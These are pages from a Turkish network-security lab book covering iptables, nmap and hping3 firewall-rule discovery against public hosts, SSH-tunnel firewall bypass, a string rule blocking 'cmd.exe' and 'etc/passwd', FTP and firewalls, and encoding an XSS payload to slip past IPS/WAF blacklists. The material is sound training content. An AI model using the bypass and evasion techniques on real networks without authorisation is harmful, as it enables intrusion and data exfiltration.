  13. 13. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Bu kural yazıldığı takdirde 80 portuna gelen istekler DROP edilecek ve istek düşecektir. root@kali:~# hping3 -p 80 -S 6.6.6.63 HPING 6.6.6.63 (eth0 6.6.6.63): S set, 40 headers + 0 data bytes ^C --- 6.6.6.63 hping statistic --- 8 packets transmitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms Burada görüldüğü gibi paket gönderilmiştir fakat hedef sistem cevap vermediği için pakete karşılık herhangi bir cevap gelmemiştir. REJECT yöntemi ile paket engellemek için ise yazılması gereken iptables kuralı aşağıdaki gibi olacaktır. root@kali:~#iptables -A INPUT -p tcp --dport 80 -i eth0 -j REJECT Paket engelleme metodu olarak REJECT kullanılırsakarşı gelenpaketler düşürülecektir ve istek yapan tarafa bilgi dönecektir. Aşağıdaki tablodan da anlaşılacağı üzere gönderilen paketler düşürülmüş ve istek yapan tarafa kabul edilmediğini gösteren cevap dönmüştür. root@kali:~# hping3 -p 80 -S 6.6.6.63 HPING 6.6.6.63 (eth0 6.6.6.63): S set, 40 headers + 0 data bytes ICMP Port Unreachable from ip=6.6.6.63 name=UNKNOWN ICMP Port Unreachable from ip=6.6.6.63 name=UNKNOWN ICMP Port Unreachable from ip=6.6.6.63 name=UNKNOWN ICMP Port Unreachable from ip=6.6.6.63 name=UNKNOWN --- 6.6.6.63 hping statistic --- 4 packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
  14. 14. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 1.2. GÜVENLİK DUVARI KURALLARININ KEŞFEDİLMESİ Siber tehditlerin artmasıyla birlikte güvenlik cihazlarının kullanımı da artmaya başlamıştır. Kurumun gereksinimlerine göre yapılandırılan bu güvenlik duvarları iç ağ iledış dünya arasında bir koruma görevi sağlar. Hangi kurumun hangi ihtiyaca göre güvenlik duvarını yapılandırdığı normal şekilde anlaşılamaz. Ama bir takım paket gönderme istekleri ile genel olarak güvenlik duvarına ait kurallar öğrenilebilir. İlk adımda hedef sistemin 80 ve 443 portuna SYN paketi göndererek açık olup olmadığına bakılarak internet açık olup olmadığı erişimi kontrol edilebilir. root@kali:~# hping3 -p 80 -S cnn.com HPING cnn.com (eth0 157.166.226.25): S set, 40 headers + 0 data bytes len=46 ip=157.166.226.25 ttl=41 id=25391 sport=80 flags=SA seq=0 win=5840 rtt=181.0 ms len=46 ip=157.166.226.25 ttl=42 id=38569 sport=80 flags=SA seq=1 win=5840 rtt=177.5 ms len=46 ip=157.166.226.25 ttl=41 id=16429 sport=80 flags=SA seq=2 win=5840 rtt=189.9 ms ^C --- cnn.com hping statistic --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 177.5/182.8/189.9 ms Bir sonraki adım olarak iyi bilinen ilk 100 portun durumlarına bakılarak açık, kapalı ya da filtered olduğuna bakılabilir. root@kali:~# nmap -sS -p22 cnn.com Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT Nmap scan report for cnn.com (157.166.226.25) Host is up (0.18s latency). Other addresses for cnn.com (not scanned): 157.166.226.26 rDNS record for 157.166.226.25: www.cnn.com PORT STATE SERVICE 22/tcp filtered SSH Kısaca bu adımların hepsini tek seferde yapmak için ise nmap port tarama aracı kullanılarak en çok kullanılan 100 porta bakılabilir. root@kali:~# nmap -sS cnn.com --top-ports 1000 Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 09:56 EDT Nmap scan report for cnn.com (157.166.226.26) Host is up (0.21s latency). Other addresses for cnn.com (not scanned): 157.166.226.25 rDNS record for 157.166.226.26: www.cnn.com Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http 443/tcp closed https
  15. 15. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Nmap done: 1 IP address (1 host up) scanned in 15.22 seconds Bazı durumlarda hedef sistem üzerindeki açık portları görmek ve güvenlik duvarı kurallarını öğrenmek için port taraması yapıldığında bütün portların açık olduğu görülebilir. Syn cookie olarak adlandırılan bu servis ilebütün portlar açık olarak gösterilip saldırganınsistemhakkında bilgi alması önlenebilir. root@kali:~/Desktop# nmap bga.com.tr Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-26 07:44 EDT Nmap scan report for bga.com.tr (50.22.202.163) Host is up (0.17s latency). rDNS record for 50.22.202.163: 50.22.202.163-static.reverse.softlayer.com PORT STATE SERVICE 1/tcp open tcpmux 3/tcp open compressnet 4/tcp open unknown 6/tcp open unknown 7/tcp open echo 9/tcp open discard 13/tcp open daytime 17/tcp open qotd 19/tcp filtered chargen 20/tcp open ftp-data 21/tcp open ftp 22/tcp filtered SSH 23/tcp open telnet 24/tcp open priv-mail 25/tcp open smtp 26/tcp open rsftp 30/tcp open unknown 32/tcp open unknown 33/tcp open dsp 37/tcp open time 42/tcp open nameserver 43/tcp open whois 49/tcp open tacacs 53/tcp open domain 70/tcp open gopher 79/tcp open finger 80/tcp open http 81/tcp open hosts2-ns ….. Böyle bir durumda gerçek kuralları öğrenebilmek ve açık portları görebilmek için versiyon taraması yapılarak hedef sistemhakkında gerçek bilgiler alınabilir.
  16. 16. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity root@kali:~# nmap -sV bga.com.tr Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 10:05 EDT Nmap scan report for bga.com.tr (141.101.117.55) Host is up (0.080s latency). Other addresses for bga.com.tr (not scanned): 141.101.116.55 Not shown: 998 filtered ports PORT STATE SERVICE VERSION 80/tcp open http cloudflare-nginx 8080/tcp open http cloudflare-nginx Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.08 seconds 1.3. FARKLI PORTTA ÇALIŞTIRMA YÖNTEMİYLE KLASİK GÜVENLİK DUVARI ATLATMA YÖNTEMLERİ Sızma testlerinde iç ağı yetkisiz olarak dışarıdan erişime açmak için ya da iç ağdan dışarıya veri kaçırmak için bu şekilde bir yöntem kullanılabilir. Genel olarak kurumlar 80 ve 443 portlarını açık tutarlar ve bunların dışındaki portları yetkisiz kullanıcılara kapatırlar. Böyle bir durumda dışarıdaki 80 ve 443 dışındaki bir porta erişmek isterseniz, SSH tünel ile bunu gerçekleştirebilirsiniz. Yasaklı olan portlara erişmek için dışarda SSH servisini açık olan bir makineye trafik aktarılır ve internete o makine üzerinden çıkılır. Böylece güvenlik duvarına ait kurallar atlatılmış olur ve istenilen her yere erişim sağlanır. 1.3.1. SSHuttle ile güvelikduvarı atlatma Aşağıdaki uygulamada kurum dışında bir yerde SSH servisi açık olan bir makineye yapılan bağlantı görülmektedir. Kurumlarda genelde 80 ve 443 haricindeki portlar dışında dışarıya erişim olmadığından dolayı, tunnel kurulacak makinenin SSH servisini 443. port üzerinde çalıştırması işi daha kolay hale getirecektir. root@kali:~/SSHuttle-master# ./SSHuttle -r cihat@1.1.1.17:443 0.0.0.0/0 cihat@1.1.1.17's password: Connected. server: warning: closed channel 2 got cmd=STOP_SENDING len=0 server: warning: closed channel 9 got cmd=STOP_SENDING len=0 client: warning: closed channel 1 got cmd=DATA len=2048 client: warning: closed channel 1 got cmd=DATA len=872 client: warning: closed channel 1 got cmd=DATA len=2048 client: warning: closed channel 1 got cmd=DATA len=872 client: warning: closed channel 1 got cmd=DATA len=1460 client: warning: closed channel 1 got cmd=DATA len=2048 client: warning: closed channel 1 got cmd=DATA len=2048 client: warning: closed channel 1 got cmd=DATA len=284
  17. 17. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity client: warning: closed channel 1 got cmd=EOF len=0 Buradan da anlaşılacağı üzere, 1.1.1.17makinesine tüm trafik aktarılmış ve artık internete çıkış 1.1.1.17makinesi üzerinden gerçekleşmiştir. Bu durumda iseaçıkolan tüm portlara erişim elde edilebilir ve yasaklı sitelere girilebilir. Aşağıdaki ekran görüntüsünde ise tünelleme gerçekleştikten sonra 8834 portuna erişilebildiği görülmektedir.
  18. 18. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 1.4. GÜVENLİK DUVARI KURALLARININ DENETİMDEN GEÇİRİLMESİ Güvenlik cihazlarına yazılan kuralların ne kadar verimli olduğunu test etmek için yazılan bir takım araçlar bulunmaktadır. Bunlardan biri Nipper adında bir araçtır. Mevcut güvenlik duvarı kuralları dışa aktardıktan sonra bu araç kullanılarak yazılan kurallar denetimden geçirilebilir. İlk olarak program açılır ve daha önceden alınmış kural çıktısı Nipper ile açılır. Daha sonra next ile devam edilir ve raporlama seçenekleri belirlenir. Buradan raporda bulunması istenilen detaylar seçilir.
  19. 19. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Seçenekler belirlendikten sonra Next seçeneği ile devam edilir. Artık format ve seçenekler belirlenmiştir ve sonuç alınmaya hazırdır.
  20. 20. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Finish butonuna basıldıktan sonra programa yüklenen kural dosyası analiz edilecek ve rapor olarak sunulacaktır. Burada yapılandırma dosyasında bulunan kurallara ilişkin değerlendirmeler ( önem derecesi, bulgu başlığı, çözüm önerisi gibi )açıkça görülecektir.
  21. 21. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 1.5. PORT BAĞIMSIZ PROTOKOL TANIMA(PİPİ) UYGULAMASI Kurulan herhangi bir uygulama, servis ya da protokol varsayılan olarak protokol tarafından belirlenen port üzerinden hizmet verir. Varsayılan olarak gelen bu portları değiştirmek mümkündür. Bazıdurumlarda uygulamaya aitvarsayılanport değiştirilmek istenebilir. Örneğin çok fazla kaba kuvvet saldırı girişimi olduğu için SSH portu 22’den farklı bir porta çalıştırılabilir. Fakat böyle bir durumda trafik izlendiği zaman port üzerinde hangi protokolün çalıştığını ayırt etmez zor olacaktır. Örneğin 443. port üzerinde SSH servisinin çalıştığı düşünülürse, normal bir bağlantı esnasında tarafı izlendiği zaman bağlantı SSL olarak görünecektir. Aşağıdaki ekran görüntüsünde 443. port üzerinden SSH kurmaya çalışan bir kullanıcının trafiği gözükmektedir. 443 portu SSL için kullanıldığından wireshark bu bağlantıyı SSL olarak görecektir ve SSH olduğunu yakalayamayacaktır. Bu trafiğin SSH olduğunu biliniyor SSH olarak incelenmek istenirse SSL paketlerinden birisine sağ tıklanarak “Decode As” seçeneğinden SSH seçilir.
  22. 22. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Artık paketler 443 portunda çalışmasına rağmen SSL olarak değil SSH olarak görünecektir.
  23. 23. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 1.6. LİNUX IPTABLES EKLENTİLERİ KULLANARAK PAKET İÇİNDE GEÇEN KELİMEYE GÖREENGELLEME “iptables” eklentileri kullanılarak paket içerisinde geçen kelimeye göre engelleme yapmak mümkündür. Hassas dosyalar, erişilmemesi gereken önemli dizinler gibi kritik yerler iptables kuralları ile erişime yasaklanabilir. Mesela işletim sistemi üzerinde komut çalıştırmak isteyen saldırganınengellemesiiçin“cmd.exe” kelimesine göre engelleme yapılmasıya da etc/passwd dosyasını okumaya çalışan saldırganın engellenmesi gibi aksiyonlar iptables kullanılarak rahatlıkla yapılabilir. Kural girilmeyen normal bir bağlantıda hedef sistemin 80 portuna bağlantı kurulmak istendiğinde normal bir şekilde bağlantı gerçekleşecektir. Hedef sistemüzerinde olmayan bir dosyaya erişilmeye çalışıldığı zaman ise normal olarak RST dönecektir ve aşağıdaki gibi bir uyarı dönecektir. Eğer ‘cmd.exe’ ya da ‘etc/passwd’ gibi kritik kelimelerin engellenmesi ve saldırganın bunlara erişmemesi isteniyorsa aşağıdaki gibi bir iptables kuralı girilerek, o kelimenin geçtiği bağlantılar engellenebilir. root@kali:~# iptables -A INPUT -p tcp -m string --string “cmd.exe” algo bm -j DROP
  24. 24. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Burada yapılmak istenen, içinde “cmd.exe” geçen bağlantıları düşürmek ve saldırganı engellemektir. ROP veya REJECT seçeneği ile pakete cevap verilmeyebilir ya da direk istek düşürülebilir. Burada yazılan kurala göre yapılan bir bağlantıda içerisinde “cmd.exe” kelimesi geçen bağlantılar DROP edilecektir ve saldırgan erişemeyecektir. Burada görüldüğü üzere iptables, “cmd.exe” kelimesini yakalamış ve bağlantıyı düşürmüştür. Saldırgan hedef sisteme yaptığı bu istekten cevap alamayacak ve bağlantı belirli bir timeout değerinden sonra sonlanacaktır. 1.7. LINUX L7 FİLTER KULLANARAKPORT BAĞIMSIZ PROTOKOL/UYGULAMA ENGELLEME L7 filter ile port bağımsız ptotokol ve uygulama engellemek için aşağıdaki gibi bir yol haritası izlenebilir. L7 Filter Kurulumu L7 filter paket depolarından hazır olarak indirilebilir. Bunun için kullanılan komut aşağıdaki gibidir. root@kali:~# apt-get install l7-filter-userspace Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: l7-protocols libnetfilter-queue1 The following NEW packages will be installed: l7-filter-userspace l7-protocols libnetfilter-queue1 0 upgraded, 3 newly installed, 0 to remove and 207 not upgraded. Need to get 110 kB of archives.
  25. 25. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity After this operation, 877 kB of additional disk space will be used. Do you want to continue [Y/n]? y Gerekli olan çekirdek modüllerini yüklemek ve otomatik olarak yüklemesini etkinleştirmek için aşağıdaki komutlar kullanılmalıdır. root@kali:~# modprobe ip_conntrack_netlink root@kali:~#modprobe nf_conntrack_ipv4 Test Edilmesi Daha sonra /etc dizini altına l7.conf dosyasının oluşturulması gerekiyor. Bunun için hazır gelen örnek conf dosyası kullanılabilir. root@kali:~# cp /usr/share/doc/l7-filter-userspace/examples/sample-l7-filter.conf /etc/l7.conf L7 filter’ı debugging modda çalıştırmak için; l7-filter -vv -f /etc/l7.conf -q 0 –v Kullanımı “iptables” ile gelen paketleri yönlendirmek için aşağıdaki gibi bir kural yazılabilir. iptables -t mangle -A PREROUTING -p udp --sport 53 -j NFQUEUE --queue-num 0 Daha sonra l7-filter çalıştırılır. l7-filter -vv -f /etc/l7.conf -q 0 -vvvv Sonrasında dig ile bir DNS sorgusu yapılır. root@kali:~# dig google.com ; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> google.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35603 ;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;google.com. IN A ;; ANSWER SECTION:
  26. 26. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity google.com. 63 IN A 173.194.113.165 google.com. 63 IN A 173.194.113.160 google.com. 63 IN A 173.194.113.164 google.com. 63 IN A 173.194.113.169 google.com. 63 IN A 173.194.113.167 google.com. 63 IN A 173.194.113.166 google.com. 63 IN A 173.194.113.161 google.com. 63 IN A 173.194.113.168 google.com. 63 IN A 173.194.113.163 google.com. 63 IN A 173.194.113.174 google.com. 63 IN A 173.194.113.162 ;; Query time: 106 msec ;; SERVER: 6.6.6.254#53(6.6.6.254) ;; WHEN: Wed May 14 04:47:32 2014 ;; MSG SIZE rcvd: 204 DNS isteği gerçekleşmiştir fakat l7.conf dosyasına bakıldığı zaman DNS istekleri için 53 yerine başka bir portun kullanıldığı görülecektir. root@kali:~# cat /etc/l7.conf # The format of this file is: # protocol mark # Do not use marks less than 3, since a mark of 0 means that l7-filter hasn't # seen the packet yet, and a mark of 1 means that it has failed to classify # it, but will try again with the next packet of the connection and a mark # of 2 means that l7-filter has given up trying to match. gnutella 3 imap 4 aim 5 smtp 6 dns 7 validcertssl 8 tor 9 ipp 10 ssdp 11 telnet 12 zmaap 13 yahoo 14 msnmessenger 15 ssl 16 SSH 17 http 18
  27. 27. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 1.9. KATMANLI GÜVENLİKMİMARİSİ NEDİR? Katmanlı güvenlik anlayışı, korunan sistem üzerinde birden fazla önlem alma işlemidir. Güncel hayatta bunun örneklerini sıkça görebiliriz. Mesela evinin etrafına korunmak için çit çektiren bir kişi sadece çit çektirmekle güvende olmayacağını düşünerek evine sağlambir kapı, belki alarm, pencere koruması ve ek güvenlik önlemleri de alır. Burada amaç bir engeli aşabilen kötü niyetlilerin diğer engellere takılmasıdır. Katmanlı güvenlik anlayışının bilişim dünyasındaki karşılığı derinlemesine güvenliktir ve derinlemesine güvenlik(Defense-in-Depth) kavramı bilişim güvenliği konusunda önemli bir yere sahiptir. Saldırganlara karşı alınan önlemlerin hepsinin bir şekilde aşılacağı fikrine karşı geliştirilmiştir. Teker teker aşılabilen bu önlemler birlikte kullanıldığı zaman saldırganların işinin daha zorlaşacağı ve saldırı başarı oranının düşeceği tezine dayanır. Bununla birlikte internete ya da bir ağa bağlı tamamen güvenli bir sistemkurulamaz. Derinlemesine güvenliğin uygulamalı bir örnekle açıklanması: Derinlemesine güvenlik önlemleri ile korunmaya çalışılan bir şirket veri tabanının katmanlı güvenlik mimarisine uygun olarak korunması için gerekli minimal bileşenler aşağıdaki gibi olacaktır. 1. Katman: Sınır yönlendirici cihazı 2. Katman: Sınır güvenlik duvarı 3. Katman: DMZ güvenlik duvarı 4. Katman: (NIPS)Ağ tabanlı saldırı engelleme sistemi 5. Katman: Netflow anormallik sezinleme sistemi 6. Katman: Antivirüs sistemi 7. Katman: (HIPS)Konak tabanlı saldırı engelleme sistemi 1.9.1. En dış yönlendirici cihaz Bu cihaz şirket/kurum ağına giren çıkan her paketin mutlak surette uğramak zorunda olduğu bir sistemdir ve kurumun güvenliğinden sorumlu ilk bileşendir. Yönlendirici cihaz olarak kapasitesi sınırlı olsa da alınabilecek bazı temel önlemler vardır. Bunlar; ● uRPF protokolü çalıştırarak kandırılmış ip paketlerini engelleme. ● RFC’lere uyumlu olmayan TCP, UDP ve ICMP paketlerini filtreleme. ● Sadece kurum içerisinde kullanılan uygulamaların portlarının filtrelenmesi. Bir yönlendirici cihazın alabileceği önlemler temelde bunlarla sınırlıdır. Katmanlı güvenlik mimarisi gereği yönlendirici tarafında yapılamayan işlemler başka bir bileşen tarafından kapatılmalıdır. 1.9.2. GüvenlikDuvarı Bileşeni Güvenlik duvarı bileşeni yönlendirici cihazların yapamadığı durum bilgisi tutma işini ve ağ adresi çevrimi (NAT) işini üstlenecektir. Buna ek olarak “rate limiting” gibi işlevini de yerine getirirler. 1.9.3. Ağ tabanlı saldırı tespit ve engelleme sistemi Güvenlik duvarı ve yönlendirici cihazlar bir pakete ait 4.katmana kadar verilere bakabilirler. 4. katmandan yukarısına bakamadıkları için tam bir güvenlik kalkanı oluşturamazlar. Bir paketin içeriğini izlemeden o paketin saldırı paketi mi normal bir bağlantıya mı ait olduğu anlaşılamaz.
  28. 28. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Burada devreye derinlemesine paket analizi yapabilen sistemler girmelidir ki bu örnekte bu bileşen ağ tabanlı saldırı engelleme sistemidir. Ağ tabanlı saldırı tespit ve engelleme sistemi gelen –giden her paketi içeriklerine kadar inceleyerek paketler içerisinde saldırı imzaları arar. Saldırı imzası yakalanan paketlerin iç ağa geçişi engellenir. 1.9.4. Anormalliksezinleme sistemi Bazı durumlarda saldırganlar kendilerini saldırı engelleme sistemlerinden gizlemeyi başarabilirler. Bu tip durumlarda ağa giren çıkan paketleri loglayan ve ağın normal çalışmasını benimsemiş sistemler devreye girerek bir anormallik olduğunu raporlayabilir. 1.9.5. AntivirüsSistemi Kullanılan sistemWindows ve türevleri üzerinde bina edilmiş ise karşılaşacağı sıkıntılardan biri de virüsler olacaktır. Her türlü önlemin düşünüldüğü bir ortamda virüslerin de hesaba katılması gerekir. Bunun için, ya çalışan sistemüzerinde bir antivirüs programı çalıştırılır ya da daha genel bir sistemde ağa giren ve çıkan tüm trafik üzerinde virüs kontrolü yapılabilir. 1.9.6. Konak tabanlı saldırı engellemesistemi(HIPS) Bir şekilde alınan tüm önlemler geçilse bile hedef sistem üzerinde çalıştırılacak saldırı engelleme sistemi devreye girerek saldırıyı başarısız olarak sonuçlandırabilir. Katmanlı güvenlik mimarisinin son ve en önemli bileşenlerinden biri olan konak tabanlı saldırıengelleme sistemleri hem UNIX hem de windows sistemler için geçerlidir. 1.10. FTP VE GÜVENLİK DUVARLARI 1.10.1. FTP Protokolü FTP, sık kullanılan protokoller(HTTP, SMTP, DNS vs.) arasında en sorunlu protokoldür. Diğer protokoller tek bir TCP/UDP portu üzerinden çalışırken FTP birden fazla ve dinamik portlarla çalışır(IRC’deki veri transferi ve iletişim portu gibi). Bu portlardan biri “Command port” diğeri DATA port olarak adlandırılır. Command portu üzerinden ftp iletişimine ait gerekli temel bilgiler aktarılır. Temel bilgiler; ftp sunucuya gönderilecek kullanıcı adı ve parola bilgileri, ftp sunucuya hangi porttan bağlanılacağı, hangi ftp çeşidinin kullanılacağı gibi bilgiler olabilir. Data portu ise veri transferi amaçlı kullanılır. 1.10.2. FTP Çeşitleri FTP ikiçeşittir: pasifve aktif FTP. Her ikisininde farklı amaçlı kullanımları mevcuttur. HangiFTP çeşidinin kullanılacağı ftp istemcisi tarafından belirlenir. 1.10.3. Aktif FTP Bu FTP çeşidinde istemci aktif rol alır. Bilinenin aksine orijinal ftp aktif ftp’dir fakat günümüz internet altyapısında çeşitli sorunlara yol açtığı için pasif ftp daha fazla tercih edilmektedir. Aktif ftp de çıkan sorunlar pasif ftp’nin geliştirilmesini sağlamıştır. Adım adım Aktif FTP;
  29. 29. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 1) istemci FTP sunucuya Command portundan(21) bağlanır. 2) FTP sunucu gerekli karşılama mesajı ve kullanıcı adı sorgulamasını gönderir. -İstemci gerekli erişim bilgilerini girer. -Sunucu erişimi bilgilerini kontrol ederek istemciye yanıt döner. Eğer erişim bilgileri doğru ise istemciye ftp komut satırı açılır. Burada istemci veri transferi yapmak istediğinde (ls komutunun çalıştırılması da veri transferi gerçekleştirir)3. adıma geçilir. -İstemci kendi tarafında 1024’den büyük bir port açar ve bunu PORT komutu ile FTP sunucuya bildirir. 3) FTP sunucusu, istemcinin bildirdiğiport numarasından bağlantıkurar ve gerekli aktarım işlemleri başlar. 4) İstemci Onay mesajı gönderir. Örnek Aktif FTP bağlantısı # ftp -A -d 192.168.100.27 Connected to 192.168.100.27. 220 (vsFTPd 2.0.3) Name (192.168.100.27:root): huzeyfe ---> USER huzeyfe 331 Please specify the password. Password: ---> PASS XXXX 230 Login successful.
  30. 30. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity ---> SYST 215 UNIX Type: L8 Remote systemtype is UNIX. Using binary mode to transfer files. ftp> ls ---> EPRT |1|192.168.100.27|58518| 200 EPRT command successful. Consider using EPSV. ---> LIST 150 Here comes the directory listing. Aktif FTP bağlantısının Sniffer(Wireshark) çıktısı 1.10.4. PasifFTP Pasif FTP, günümüz internet dünyasında kullanılan güvenlik duvarı, NAT cihazları gibi trafikte değişiklik yapan sistemlerden kaynaklanan ftp problemlerini sunucu tarafında halledebilmek için çıkarılmış FTP çeşididir. Pasif FTP de istemci pasif roldedir, sunucu aktif roldedir.
  31. 31. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Adım adım Pasif FTP: 1) İstemci FTP sunucuya Command portundan(21) bağlanır. 2) FTP sunucu gerekli karşılama mesajı ve kullanıcı adı sorgulamasını gönderir. -İstemci gerekli erişim bilgilerini girer. -Sunucu erişimi bilgilerini kontrol ederek istemciye yanıt döner. Eğer erişim bilgileri doğru ise istemci -FTP istemcisi PASV komutu aracılığı ile sunucudan ek port açmasını bekler. Sunucu yapılandırma dosyasında belirtilen port aralığından bir port açarak bunu istemciye belirtir 3) FTP istemcisi, sunucudan gelen bu porta bağlanarak veri alışverişini başlatır 4) İstemci onay mesajı yollar Örnek Pasif FTP bağlantısı # ftp -d 192.168.100.27 Connected to 192.168.100.27. 220 (vsFTPd 2.0.3) Name (192.168.100.27:root): huzeyfe ---> USER huzeyfe 331 Please specify the password. Password: ---> PASS XXXX 230 Login successful.
  32. 32. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity ---> SYST 215 UNIX Type: L8 Remote systemtype is UNIX. Using binary mode to transfer files. ftp> ls ---> EPSV 229 Entering Extended Passive Mode (|||35330|) ---> LIST 150 Here comes the directory listing. Pasif FTP bağlantısının Sniffer(Wireshark) çıktısı 1.10.5. GüvenlikDuvarlarında YaşanabilecekFTP Sorunları Zaman zaman “FTP ye bağlanıyorum ama ls çektiğimde bağlantı kopuyor ya da öylesine bekliyor” şeklinde bir tabire şahit olmuşsunuzdur. Bu gibi istenmeyen durumlar FTP’nin karmaşık yapısı ve Firewall’ların protokolden anlamamasından kaynaklanır. Bir Firewall ’da HTTP bağlantısını açmak için sadece 80. portu açmanız yeterlidir fakat FTP için 21. portu açmak yetmez. Bunun sebebi FTP’nin komutların gidip geldiği ve verinin aktığı port olmak üzere iki farklı port üzerinden çalışmasıdır. İlk port sabit ve bellidir:21. port fakat veri bağlantısının gerçekleştiği port olan diğer port kullanılacak ftp çeşidine (Aktif FTP veya Pasif FTP ) göre değişir ve eğer firewall FTP protokolünden anlamıyorsa genelde sorun yaşanır. Yeni nesil Firewall’larda bu sıkıntı büyük ölçüde giderilmiş olsa da ara ara eksik yapılandırmalardan aynı hataların yaşandığı görülür. Linux Iptables’da ftp problemini aşmak için mod ip_conntrack_ftp modülünün sisteme yüklenmesi gerekir. OpenBSD Packet Filter ise bu tip aykırı protokoller için en uygun yapı olan proxy mantığını kullanır. FTP için ftp-proxy, upnp için upnp proxy, sip için sip-proxy vs. 1.10.6. Aktif FTP ve GüvenlikDuvarı
  33. 33. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity FTP istemcinin önünde bir Firewall varsa istemci kendi tarafında port açsa bile bu porta izin Firewall tarafından verilmeyeceği için problem yaşanacaktır. Internet Explorer varsayılan durumda Aktif FTP yapmaya çalışır. Pasif FTP yapmaya zorlamak için aşağıdaki adımlar takip edilmelidir; 1.10.7. PasifFTP ve GüvenlikDuvarı Pasif FTP de ftp sunucu ek port açsa bile önünde bir firewall varsa Firewalldan o porta erişim izni verilmesi gerekir. 2. WAF(WEB APPLİCATİON FİREWALL) 2.1. ENCODİNG/ŞİFRELİ TRAFİKKULLANARAKIPS SİSTEMLERİ ATLATMA Blacklist temelli kontrolleri atlatmak için kullanılabilecek bir diğer yöntem ise saldırı isteklerini kısmen veya tamamen sunucu tarafından desteklenen encoding yöntemleri ile değiştirerek yollamaktır. Örneğin günümüzde kullanılan çoğu uygulamada web uygulama problemlerinin
  34. 34. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity ortaya çıkmasına neden olan en büyük etken ', ", <, >, /, ;, |, gibi karakterlerdir. Sunucu tarafındaki IPS’ler üzerinde oluşturulan blacklistler ile bu karakterler engellenmek istense de encoding yöntemleri ile bu kısıtları aşmak oldukça kolay olacaktır. Örneğin web uygulamalarında en çok can yakan '(tırnak) karakterinin farklı encoding yöntemleri ile gösterimi aşağıdaki gibidir. URL Encode - %27 Double URL Encode - %2527 Unicode URL Encoding - %u0027 Base64 - Jw== UTF-8 (2 byte) - %c0%a7 UTF-8 (JAVA) - uc0a7 HTML Entity - &apos; HTML Entity Number -  Decimal - &#39 Örnek olarak www.bga.com/index.php?id=<script>alert(‘BGA’)</script> isteği doğrudan url adresi ile istenirse aktif güvenlik cihazı bu isteği bloklayacaktır ve erişilemecektir. Ama aşağıdaki gibi encoding metotları ile bu kısıtı aşmak oldulça kolaydır. URL Encode - %3Cscript%3Ealert%28%u2018BGA%u2019%29%3C/script%3E Double URL Encode - %253Cscript%253Ealert%2528%25u2018BGA%25u2019%2529%253C/script%253E Base64 - PHNjcmlwdD5hbGVydCgYQkdBGSk8L3NjcmlwdD4= Decimal - 